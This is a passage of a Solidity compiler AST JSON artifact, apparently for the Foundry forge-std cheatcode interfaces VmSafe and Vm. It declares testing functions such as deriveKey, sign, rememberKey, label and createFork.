`m/44'/60'/0'/0/{index}`."},"functionSelector":"32c8176d","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69618:9:13","parameters":{"id":14999,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14994,"mutability":"mutable","name":"mnemonic","nameLocation":"69644:8:13","nodeType":"VariableDeclaration","scope":15003,"src":"69628:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14993,"name":"string","nodeType":"ElementaryTypeName","src":"69628:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14996,"mutability":"mutable","name":"index","nameLocation":"69661:5:13","nodeType":"VariableDeclaration","scope":15003,"src":"69654:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":14995,"name":"uint32","nodeType":"ElementaryTypeName","src":"69654:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"},{"constant":false,"id":14998,"mutability":"mutable","name":"language","nameLocation":"69684:8:13","nodeType":"VariableDeclaration","scope":15003,"src":"69668:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14997,"name":"string","nodeType":"ElementaryTypeName","src":"69668:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"69627:66:13"},"returnParameters":{"id":15002,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15001,"mutability":"mutable","name":"privateKey","nameLocation":"69749:10:13","nodeType":"VariableDeclaration","scope":15003,"src":"69741:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15000,"name":"uint256","nodeType":"ElementaryTypeName","src":"69741:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"69740:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15017,"nodeType":"FunctionDefinition","src":"69916:184:13","nodes":[],"documentation":{"id":15004,"nodeType":"StructuredDocumentation","src":"69767:144:13","text":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language\n at `{derivationPath}{index}`."},"functionSelector":"29233b1f","implemented":false,"kind":"function","modifiers":[],"name":"deriveKey","nameLocation":"69925:9:13","parameters":{"id":15013,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15006,"mutability":"mutable","name":"mnemonic","nameLocation":"69951:8:13","nodeType":"VariableDeclaration","scope":15017,"src":"69935:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15005,"name":"string","nodeType":"ElementaryTypeName","src":"69935:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15008,"mutability":"mutable","name":"derivationPath","nameLocation":"69977:14:13","nodeType":"VariableDeclaration","scope":15017,"src":"69961:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15007,"name":"string","nodeType":"ElementaryTypeName","src":"69961:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15010,"mutability":"mutable","name":"index","nameLocation":"70000:5:13","nodeType":"VariableDeclaration","scope":15017,"src":"69993:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":15009,"name":"uint32","nodeType":"ElementaryTypeName","src":"69993:6:13","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"},{"constant":false,"id":15012,"mutability":"mutable","name":"language","nameLocation":"70023:8:13","nodeType":"VariableDeclaration","scope":15017,"src":"70007:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15011,"name":"string","nodeType":"ElementaryTypeName","src":"70007:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"69934:98:13"},"returnParameters":{"id":15016,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15015,"mutability":"mutable","name":"privateKey","nameLocation":"70088:10:13","nodeType":"VariableDeclaration","scope":15017,"src":"70080:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15014,"name":"uint256","nodeType":"ElementaryTypeName","src":"70080:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"70079:20:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15025,"nodeType":"FunctionDefinition","src":"70156:86:13","nodes":[],"documentation":{"id":15018,"nodeType":"StructuredDocumentation","src":"70106:45:13","text":"Gets the label for the specified address."},"functionSelector":"28a249b0","implemented":false,"kind":"function","modifiers":[],"name":"getLabel","nameLocation":"70165:8:13","parameters":{"id":15021,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15020,"mutability":"mutable","name":"account","nameLocation":"70182:7:13","nodeType":"VariableDeclaration","scope":15025,"src":"70174:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15019,"name":"address","nodeType":"ElementaryTypeName","src":"70174:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"70173:17:13"},"returnParameters":{"id":15024,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15023,"mutability":"mutable","name":"currentLabel","nameLocation":"70228:12:13","nodeType":"VariableDeclaration","scope":15025,"src":"70214:26:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15022,"name":"string","nodeType":"ElementaryTypeName","src":"70214:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70213:28:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":15034,"nodeType":"FunctionDefinition","src":"70280:74:13","nodes":[],"documentation":{"id":15026,"nodeType":"StructuredDocumentation","src":"70248:27:13","text":"Get a `Wallet`'s nonce."},"functionSelector":"a5748aad","implemented":false,"kind":"function","modifiers":[],"name":"getNonce","nameLocation":"70289:8:13","parameters":{"id":15030,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15029,"mutability":"mutable","name":"wallet","nameLocation":"70314:6:13","nodeType":"VariableDeclaration","scope":15034,"src":"70298:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_calldata_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":15028,"nodeType":"UserDefinedTypeName","pathNode":{"id":15027,"name":"Wallet","nameLocations":["70298:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"70298:6:13"},"referencedDeclaration":12125,"src":"70298:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"}],"src":"70297:24:13"},"returnParameters":{"id":15033,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15032,"mutability":"mutable","name":"nonce","nameLocation":"70347:5:13","nodeType":"VariableDeclaration","scope":15034,"src":"70340:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":15031,"name":"uint64","nodeType":"ElementaryTypeName","src":"70340:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"70339:14:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15042,"nodeType":"FunctionDefinition","src":"70402:67:13","nodes":[],"documentation":{"id":15035,"nodeType":"StructuredDocumentation","src":"70360:37:13","text":"Labels an address in call traces."},"functionSelector":"c657c718","implemented":false,"kind":"function","modifiers":[],"name":"label","nameLocation":"70411:5:13","parameters":{"id":15040,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15037,"mutability":"mutable","name":"account","nameLocation":"70425:7:13","nodeType":"VariableDeclaration","scope":15042,"src":"70417:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15036,"name":"address","nodeType":"ElementaryTypeName","src":"70417:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":15039,"mutability":"mutable","name":"newLabel","nameLocation":"70450:8:13","nodeType":"VariableDeclaration","scope":15042,"src":"70434:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15038,"name":"string","nodeType":"ElementaryTypeName","src":"70434:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70416:43:13"},"returnParameters":{"id":15041,"nodeType":"ParameterList","parameters":[],"src":"70468:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15050,"nodeType":"FunctionDefinition","src":"70553:76:13","nodes":[],"documentation":{"id":15043,"nodeType":"StructuredDocumentation","src":"70475:73:13","text":"Adds a private key to the local forge wallet and returns the address."},"functionSelector":"22100064","implemented":false,"kind":"function","modifiers":[],"name":"rememberKey","nameLocation":"70562:11:13","parameters":{"id":15046,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15045,"mutability":"mutable","name":"privateKey","nameLocation":"70582:10:13","nodeType":"VariableDeclaration","scope":15050,"src":"70574:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15044,"name":"uint256","nodeType":"ElementaryTypeName","src":"70574:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"70573:20:13"},"returnParameters":{"id":15049,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15048,"mutability":"mutable","name":"keyAddr","nameLocation":"70620:7:13","nodeType":"VariableDeclaration","scope":15050,"src":"70612:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15047,"name":"address","nodeType":"ElementaryTypeName","src":"70612:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"70611:17:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15065,"nodeType":"FunctionDefinition","src":"70671:103:13","nodes":[],"documentation":{"id":15051,"nodeType":"StructuredDocumentation","src":"70635:31:13","text":"Signs data with a `Wallet`."},"functionSelector":"b25c5a25","implemented":false,"kind":"function","modifiers":[],"name":"sign","nameLocation":"70680:4:13","parameters":{"id":15057,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15054,"mutability":"mutable","name":"wallet","nameLocation":"70701:6:13","nodeType":"VariableDeclaration","scope":15065,"src":"70685:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_calldata_ptr","typeString":"struct VmSafe.Wallet"},"typeName":{"id":15053,"nodeType":"UserDefinedTypeName","pathNode":{"id":15052,"name":"Wallet","nameLocations":["70685:6:13"],"nodeType":"IdentifierPath","referencedDeclaration":12125,"src":"70685:6:13"},"referencedDeclaration":12125,"src":"70685:6:13","typeDescriptions":{"typeIdentifier":"t_struct$_Wallet_$12125_storage_ptr","typeString":"struct VmSafe.Wallet"}},"visibility":"internal"},{"constant":false,"id":15056,"mutability":"mutable","name":"digest","nameLocation":"70717:6:13","nodeType":"VariableDeclaration","scope":15065,"src":"70709:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15055,"name":"bytes32","nodeType":"ElementaryTypeName","src":"70709:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"70684:40:13"},"returnParameters":{"id":15064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15059,"mutability":"mutable","name":"v","nameLocation":"70749:1:13","nodeType":"VariableDeclaration","scope":15065,"src":"70743:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":15058,"name":"uint8","nodeType":"ElementaryTypeName","src":"70743:5:13","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"constant":false,"id":15061,"mutability":"mutable","name":"r","nameLocation":"70760:1:13","nodeType":"VariableDeclaration","scope":15065,"src":"70752:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15060,"name":"bytes32","nodeType":"ElementaryTypeName","src":"70752:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":15063,"mutability":"mutable","name":"s","nameLocation":"70771:1:13","nodeType":"VariableDeclaration","scope":15065,"src":"70763:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15062,"name":"bytes32","nodeType":"ElementaryTypeName","src":"70763:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"70742:31:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15073,"nodeType":"FunctionDefinition","src":"70835:80:13","nodes":[],"documentation":{"id":15066,"nodeType":"StructuredDocumentation","src":"70780:50:13","text":"Encodes a `bytes` value to a base64url string."},"functionSelector":"c8bd0e4a","implemented":false,"kind":"function","modifiers":[],"name":"toBase64URL","nameLocation":"70844:11:13","parameters":{"id":15069,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15068,"mutability":"mutable","name":"data","nameLocation":"70871:4:13","nodeType":"VariableDeclaration","scope":15073,"src":"70856:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15067,"name":"bytes","nodeType":"ElementaryTypeName","src":"70856:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"70855:21:13"},"returnParameters":{"id":15072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15071,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15073,"src":"70900:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15070,"name":"string","nodeType":"ElementaryTypeName","src":"70900:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70899:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15081,"nodeType":"FunctionDefinition","src":"70977:81:13","nodes":[],"documentation":{"id":15074,"nodeType":"StructuredDocumentation","src":"70921:51:13","text":"Encodes a `string` value to a base64url string."},"functionSelector":"ae3165b3","implemented":false,"kind":"function","modifiers":[],"name":"toBase64URL","nameLocation":"70986:11:13","parameters":{"id":15077,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15076,"mutability":"mutable","name":"data","nameLocation":"71014:4:13","nodeType":"VariableDeclaration","scope":15081,"src":"70998:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15075,"name":"string","nodeType":"ElementaryTypeName","src":"70998:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"70997:22:13"},"returnParameters":{"id":15080,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15079,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15081,"src":"71043:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15078,"name":"string","nodeType":"ElementaryTypeName","src":"71043:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71042:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15089,"nodeType":"FunctionDefinition","src":"71116:77:13","nodes":[],"documentation":{"id":15082,"nodeType":"StructuredDocumentation","src":"71064:47:13","text":"Encodes a `bytes` value to a base64 string."},"functionSelector":"a5cbfe65","implemented":false,"kind":"function","modifiers":[],"name":"toBase64","nameLocation":"71125:8:13","parameters":{"id":15085,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15084,"mutability":"mutable","name":"data","nameLocation":"71149:4:13","nodeType":"VariableDeclaration","scope":15089,"src":"71134:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":15083,"name":"bytes","nodeType":"ElementaryTypeName","src":"71134:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"71133:21:13"},"returnParameters":{"id":15088,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15087,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15089,"src":"71178:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15086,"name":"string","nodeType":"ElementaryTypeName","src":"71178:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71177:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":15097,"nodeType":"FunctionDefinition","src":"71252:78:13","nodes":[],"documentation":{"id":15090,"nodeType":"StructuredDocumentation","src":"71199:48:13","text":"Encodes a `string` value to a base64 string."},"functionSelector":"3f8be2c8","implemented":false,"kind":"function","modifiers":[],"name":"toBase64","nameLocation":"71261:8:13","parameters":{"id":15093,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15092,"mutability":"mutable","name":"data","nameLocation":"71286:4:13","nodeType":"VariableDeclaration","scope":15097,"src":"71270:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15091,"name":"string","nodeType":"ElementaryTypeName","src":"71270:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71269:22:13"},"returnParameters":{"id":15096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15095,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":15097,"src":"71315:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":15094,"name":"string","nodeType":"ElementaryTypeName","src":"71315:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"71314:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"VmSafe","contractDependencies":[],"contractKind":"interface","documentation":{"id":12031,"nodeType":"StructuredDocumentation","src":"184:225:13","text":"The `VmSafe` interface does not allow manipulation of the EVM state or other actions that may\n result in Script simulations differing from on-chain execution. It is recommended to only use\n these cheats in scripts."},"fullyImplemented":false,"linearizedBaseContracts":[15098],"name":"VmSafe","nameLocation":"419:6:13","scope":15674,"usedErrors":[],"usedEvents":[]},{"id":15673,"nodeType":"ContractDefinition","src":"71505:13590:13","nodes":[{"id":15107,"nodeType":"FunctionDefinition","src":"71665:61:13","nodes":[],"documentation":{"id":15102,"nodeType":"StructuredDocumentation","src":"71564:96:13","text":"Returns the identifier of the currently active fork. Reverts if no fork is currently active."},"functionSelector":"2f103f22","implemented":false,"kind":"function","modifiers":[],"name":"activeFork","nameLocation":"71674:10:13","parameters":{"id":15103,"nodeType":"ParameterList","parameters":[],"src":"71684:2:13"},"returnParameters":{"id":15106,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15105,"mutability":"mutable","name":"forkId","nameLocation":"71718:6:13","nodeType":"VariableDeclaration","scope":15107,"src":"71710:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15104,"name":"uint256","nodeType":"ElementaryTypeName","src":"71710:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"71709:16:13"},"scope":15673,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":15113,"nodeType":"FunctionDefinition","src":"71810:51:13","nodes":[],"documentation":{"id":15108,"nodeType":"StructuredDocumentation","src":"71732:73:13","text":"In forking mode, explicitly grant the given address cheatcode access."},"functionSelector":"ea060291","implemented":false,"kind":"function","modifiers":[],"name":"allowCheatcodes","nameLocation":"71819:15:13","parameters":{"id":15111,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15110,"mutability":"mutable","name":"account","nameLocation":"71843:7:13","nodeType":"VariableDeclaration","scope":15113,"src":"71835:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15109,"name":"address","nodeType":"ElementaryTypeName","src":"71835:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"71834:17:13"},"returnParameters":{"id":15112,"nodeType":"ParameterList","parameters":[],"src":"71860:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15119,"nodeType":"FunctionDefinition","src":"71897:46:13","nodes":[],"documentation":{"id":15114,"nodeType":"StructuredDocumentation","src":"71867:25:13","text":"Sets `block.chainid`."},"functionSelector":"4049ddd2","implemented":false,"kind":"function","modifiers":[],"name":"chainId","nameLocation":"71906:7:13","parameters":{"id":15117,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15116,"mutability":"mutable","name":"newChainId","nameLocation":"71922:10:13","nodeType":"VariableDeclaration","scope":15119,"src":"71914:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15115,"name":"uint256","nodeType":"ElementaryTypeName","src":"71914:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"71913:20:13"},"returnParameters":{"id":15118,"nodeType":"ParameterList","parameters":[],"src":"71942:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15123,"nodeType":"FunctionDefinition","src":"71982:37:13","nodes":[],"documentation":{"id":15120,"nodeType":"StructuredDocumentation","src":"71949:28:13","text":"Clears all mocked calls."},"functionSelector":"3fdf4e15","implemented":false,"kind":"function","modifiers":[],"name":"clearMockedCalls","nameLocation":"71991:16:13","parameters":{"id":15121,"nodeType":"ParameterList","parameters":[],"src":"72007:2:13"},"returnParameters":{"id":15122,"nodeType":"ParameterList","parameters":[],"src":"72018:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15129,"nodeType":"FunctionDefinition","src":"72056:48:13","nodes":[],"documentation":{"id":15124,"nodeType":"StructuredDocumentation","src":"72025:26:13","text":"Sets `block.coinbase`."},"functionSelector":"ff483c54","implemented":false,"kind":"function","modifiers":[],"name":"coinbase","nameLocation":"72065:8:13","parameters":{"id":15127,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15126,"mutability":"mutable","name":"newCoinbase","nameLocation":"72082:11:13","nodeType":"VariableDeclaration","scope":15129,"src":"72074:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":15125,"name":"address","nodeType":"ElementaryTypeName","src":"72074:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"72073:21:13"},"returnParameters":{"id":15128,"nodeType":"ParameterList","parameters":[],"src":"72103:0:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15137,"nodeType":"FunctionDefinition","src":"72224:82:13","nodes":[],"documentation":{"id":15130,"nodeType":"StructuredDocumentation","src":"72110:109:13","text":"Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork."},"functionSelector":"31ba3498","implemented":false,"kind":"function","modifiers":[],"name":"createFork","nameLocation":"72233:10:13","parameters":{"id":15133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15132,"mutability":"mutable","name":"urlOrAlias","nameLocation":"72260:10:13","nodeType":"VariableDeclaration","scope":15137,"src":"72244:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15131,"name":"string","nodeType":"ElementaryTypeName","src":"72244:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"72243:28:13"},"returnParameters":{"id":15136,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15135,"mutability":"mutable","name":"forkId","nameLocation":"72298:6:13","nodeType":"VariableDeclaration","scope":15137,"src":"72290:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15134,"name":"uint256","nodeType":"ElementaryTypeName","src":"72290:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72289:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15147,"nodeType":"FunctionDefinition","src":"72413:103:13","nodes":[],"documentation":{"id":15138,"nodeType":"StructuredDocumentation","src":"72312:96:13","text":"Creates a new fork with the given endpoint and block and returns the identifier of the fork."},"functionSelector":"6ba3ba2b","implemented":false,"kind":"function","modifiers":[],"name":"createFork","nameLocation":"72422:10:13","parameters":{"id":15143,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15140,"mutability":"mutable","name":"urlOrAlias","nameLocation":"72449:10:13","nodeType":"VariableDeclaration","scope":15147,"src":"72433:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15139,"name":"string","nodeType":"ElementaryTypeName","src":"72433:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15142,"mutability":"mutable","name":"blockNumber","nameLocation":"72469:11:13","nodeType":"VariableDeclaration","scope":15147,"src":"72461:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15141,"name":"uint256","nodeType":"ElementaryTypeName","src":"72461:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72432:49:13"},"returnParameters":{"id":15146,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15145,"mutability":"mutable","name":"forkId","nameLocation":"72508:6:13","nodeType":"VariableDeclaration","scope":15147,"src":"72500:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":15144,"name":"uint256","nodeType":"ElementaryTypeName","src":"72500:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"72499:16:13"},"scope":15673,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":15157,"nodeType":"FunctionDefinition","src":"72741:98:13","nodes":[],"documentation":{"id":15148,"nodeType":"StructuredDocumentation","src":"72522:214:13","text":"Creates a new fork with the given endpoint and at the block the given transaction was mined in,\n replays all transaction mined in the block before the transaction, and returns the identifier of the fork."},"functionSelector":"7ca29682","implemented":false,"kind":"function","modifiers":[],"name":"createFork","nameLocation":"72750:10:13","parameters":{"id":15153,"nodeType":"ParameterList","parameters":[{"constant":false,"id":15150,"mutability":"mutable","name":"urlOrAlias","nameLocation":"72777:10:13","nodeType":"VariableDeclaration","scope":15157,"src":"72761:26:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":15149,"name":"string","nodeType":"ElementaryTypeName","src":"72761:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":15152,"mutability":"mutable","name":"txHash","nameLocation":"72797:6:13","nodeType":"VariableDeclaration","scope":15157,"src":"72789:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":15151,"name":"bytes32","nodeType":"ElementaryTypeName","src":"72789:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"72760:44:13"},"returnParameters":{"id"